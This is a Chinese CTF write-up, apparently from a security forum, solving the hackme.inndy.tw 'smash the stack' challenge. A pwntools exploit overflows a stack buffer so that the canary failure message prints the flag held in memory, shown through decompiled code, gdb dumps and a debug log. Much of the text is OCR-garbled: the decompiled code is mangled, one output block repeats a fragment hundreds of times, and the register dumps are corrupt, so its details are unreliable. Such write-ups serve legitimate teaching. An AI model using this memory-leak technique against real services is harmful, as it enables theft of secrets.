https://hackme.inndy.tw/scoreboard/题目很有趣,我做了smashthestack这个题目感觉还不错,我把wp分享出来,方便大家学习 smashthestack的要求是:

```
nc hackme.inndy.tw 7717
```

Tips: stderr is available, beware of the output

这个题目提示利用错误输出

下面我用ida打开smashthestack这个程序看main函数

```
1 int __cdec1 main(int argc, const char **argv, const char **envp)
    int u3; // eax@1
    int U4; // ebx@2
    size_t buf; // [sp+0h] [bp-10h]@2
int u7; // [sp+4h] [bp-Ch]@1
    int *v8; // [sp+Ch] [bp-4h]@1
    u8 : &argc;
    v7 : ×HK_FP(__G$__, 20);
10
    03 : open("flag", 0);
11
12
    if ( U3 < 0 )
13
      write(2, "Error: can not open flag\n", 0x19u);
15
      return 1:
16
17
    buf = read(U3, &buff, 0x400u);
19
    close(||4|);
    if ( (signed int)buf <= 31 )
20
21
22
      write(2, "Error: can not read flag\n", 8x19u);
23
      return 1;
24
25
    write(1, "Try to read the flag\n", 0x15u):
26
    read(0, &buf, 0x10000u);
27
    write(1, &buf, buf);
28
    return 0:
29]
```

可以看到这个程序很简单,你输入一些东西如果不会造成缓冲区溢出的话就会把栈中的数据打印出来

```
先运行一下程序看一下这个程序干了啥
```

```
embuntu:-/hackme$ ./smu
to read the flag
          :+(*)f(*); (*)*nik[2:n]86./snash-the-stackXXX_SSSSSIN_ID=96TERM=xtermSHELL=/bin/bashSSH_CLIENT=192.168.174.1 33966_225SH_TTY=/dev/pts/17U5ER=hlipL5_COLORS=rs=0:di=0;3;4:in=00ipi=d0;33:so=01:55:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35:do=01:35
```

<u>再看看程序开启了哪些保</u>护:

```
h11p@ubuntu:~/hackme$ checksec smash-the-stack
[*] '/home/h11p/hackme/smash-the-stack'
    Arch:
              i386-32-little
              Partial RELRO
    RELRO:
    Stack:
    NX:
    PIE:
h11p@ubuntu:~/hackme$
```

看到NX

enabled是开启了栈不可执行,而且这个程序还有canary保护,但是明显的是flag已经被读入了内存,在网上找到了dragonsector写的一个pdf:<u>http://j00ru.vexillium.orc</u> 首先找flag的地址,在程序的读完文件的地方下断点0x08048434

```
reakpoint 1, 8x88848434 in main ()
                                                                    0x48 ('H')
                                                                                                                        04a060 ("flag(12", '3' <repeats 63 times>, "}\n")
                                                          0:00400

0:400

0:Ff55000 --> 0:1bldb0

0:Ff55000 --> 0:1bldb0

0:Fff5018 --> 0:0

0:Fff6018 --> 0:0

0:Ffff
                                     0x804842e <main+62>1 push 8x8040s60 0x8048433 <main+67>1 push 9x8040s60 eax 0x8048434 <main+65>1 call 0x8048434 <main+65>1 call 0x8048434 <main+75>1 mov 0x8048434 <main+75>1 mov 0x8048434 <main+75>1 call 0x8048434 <main+75>1 c
                                                                                                                                                                                                                                                                                                                                                                                                                           DWORD PTR [exp],ebx
DWORD PTR [ebp-0:10],exx
                                                                                                                                                                                                                                                                                                                                                                                                                        esp,8x18
                                                                        OxffffdSf0 -> 0x3
OxffffdSf4 -> 0x804a860 ("flag(12", '3' <repeats 63 times>, ')\n")
OxffffdSf4 -> 0x804a860 ("flag(12", '3' <repeats 63 times>, ')\n")
OxffffdSf6 -> 0x8060 (<_libc_csu_init+75>: add edi.0x1)
Oxffffd800 -> 0x1
Oxffffd804 -> 0xffffd8c4 -> 0xffffd8f6 ("/hore/hlip/hackre/anesh-the-stack")
Oxffffd88 -> 0xffffd8c -> 0xffffd8c -> 0xffffd88 ("XDG_SESSION_IDW86")
Oxffffd88c -> 0x9f6fic80
          Legend: cods, data, rosats, value
sx88048439 in main ()
执行完read指令之后在ecx中发现flag的地址为:0x804a060
             Breakpoint 1, 8x88848434 in main ()
                                                                 0x48 ('H')
0x3
                                                                                                                        04a060 ("flag(12", '3' <repeats 63 times>, "}\n")
                                                   0:804a060 | Traylin
0:400
0:47fb5080 --> 0:1b1db0
0:f7fb5080 --> 0:1b1db0
0:ffff6018 --> 0:0
0:affff6018 --> 0:0
0:affff601 --> 0:3
0:8048435 | <mailhe73*: mov DMORD PTR [osp],dbx)
0:8048435 | <mailhe73*: mov DMORD PTR [osp],dbx)
0:8048435 | <mailhe73*: mov DMORD PTR [osp],dbx)
0:8048436 | <mailhe73*: mov DMORD PTR [osp],dbx)
                                     0x804842e <main+62>1 push 8x80404080 
0x8048433 <main+67>1 push eax 
0x8048434 <main+60>1 call 0x804080 
0x8048434 <main+76>1 nov 0x804080 
0x8048434 <main+76>1 nov 0x804080 
0x8048434 <main+76>1 nov 0x804080 
0x804844 <main+64>1 add 0x804080 
0x8048447 <main+67>1 cap 0x804 
0x8048447 
0x804847 
0x804847
                                                                                                                                                                                                                                                                                                                                                                                                                           DWORD PTR [exp],ebx
DWORD PTR [ebp-0:10],esx
                                                                        OxffffdSf0 -> 0x3

OxffffdSf4 -> 0x804a860 ("flag(12", "3" <repeats 53 times>, ")\n")

OxffffdSf4 -> 0x804a860 ("flag(12", "3" <repeats 53 times>, ")\n")

OxffffdSf6 -> 0x400

OxffffdSf6 -> 0x400

Oxffffd800 -> 0x1

Oxffffd804 -> 0x1

Oxffffd804 -> 0x1

Oxffffd804 -> 0x1

Oxffffd808 -> 0x1

Oxfffd808 -> 0x1

Oxffffd808 -> 0x1

Oxfffd808 -> 0x
```

知道这样的地址之后,就可以写exp了

Legend: code, data, rosata, value 8x8848439 in main ()

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
    _Auther__ = 'niexinming'

from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x80484a5'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

#fd:0x804a060

#io = process('/home/hllp/hackme/smash-the-stack')
io = remote('hackme.inndy.tw', 7717)

#payload = p32(0x804a060)+p32(0x120)
payload=p32(0x1)+"a"*184+p32(0x804a060)
```

```
io.recvuntil('Try to read the flag\n')
io.send(payload)
io.recvall()
#io.interactive()
io.close()
```

效果是:

```
hiip@ubuntu:~/PycharmProjects/testpwnS python mysmash-the-stack.py
[+] Opening connection to hackme.inndy.tw on port 7717: Done
[DEBUG] Received 0x15 bytes:
    'Try to read the flag\n'
[DEBUG] Sent 0xc0 bytes:
    000000000 01 00 00 00 61 61 61 61 61 61 61 61 61 61 61
                     ··· aaaa aaaa aaaa
      00000010
                                                                                                          aaaa aaaa aaaa aaaa
      000000b0 61 61 61 61 61 61 61 61 61 61 61 60 a0 04 08
                                                                                                          aaaa aaaa aaaa ` · · · ·
      000000c0
 [+] Receiving all data: Done (85B)
         [] Received 0x55 bytes:
                                                                                                            .*** stack s mash
      00000000 01 2a 2a 2a 20 73 74 61
00000010 69 6e 67 20 64 65 74 65
00000020 3a 20 46 4c 41 47 7b 53
                                                                63 6b 20 73
                                                                                     6d 61 73 68
                                                                                                            ing dete cted ***
: FL AG(5 mash the sta ck, leak s the fl ag!) termin
                                                               63 74 65 64
6d 61 73 68
6c 65 61 6b
08 20 74 65
                                                                                     20 2a 2a 2a
20 74 68 65
      00000030 20 73 74 61 63 6b 2c 20
00000040 65 20 66 6c 61 67 21 7d
                                                                                     73 28 74 68
72 6d 69 6e
                                                                                                                               te rmin
      00000050 61 74 65 64
      00000055
     Closed connection to hackme.inndy.tw port 7717
```

smash-the-stack.zip (0.003 MB) 下载附件

点击收藏 | 0 关注 | 0

上一篇:渗透技巧——Windows系统的帐户隐藏 下一篇:一道CTF题:PHP文件包含

- 1. 0 条回复
 - 动动手指,沙发就是你的了!

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板